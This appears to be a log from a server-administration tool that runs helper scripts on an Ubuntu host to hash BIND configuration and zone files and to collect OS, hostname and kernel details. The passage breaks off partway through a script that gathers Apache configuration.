MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-07 14:47:04: Establishing a connection
2026-05-07 14:47:04: 

PUT: /tmp/pkp274972

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-07 14:47:05: 

runuser -l bind -s /bin/bash -c '/tmp/pkp274972; rm /tmp/pkp274972'

2026-05-07 14:47:05: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 23fffb551d59be1ba6da9a294544c861
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f9ea658466eb204a08ba64bebb958934
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-07 14:47:41: Establishing a connection
2026-05-07 14:47:42: Performing Server Status
2026-05-07 14:47:42: 

PUT: /tmp/pkp242658

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-05-07 14:47:43: 

chmod 755 /tmp/pkp242658; /tmp/pkp242658; rm /tmp/pkp242658

2026-05-07 14:47:43: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority
/swap.img                               file		4194300		207984		-2

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
rog

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-110-generic



2026-05-07 14:47:43: 

PUT: /tmp/pkp787437

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
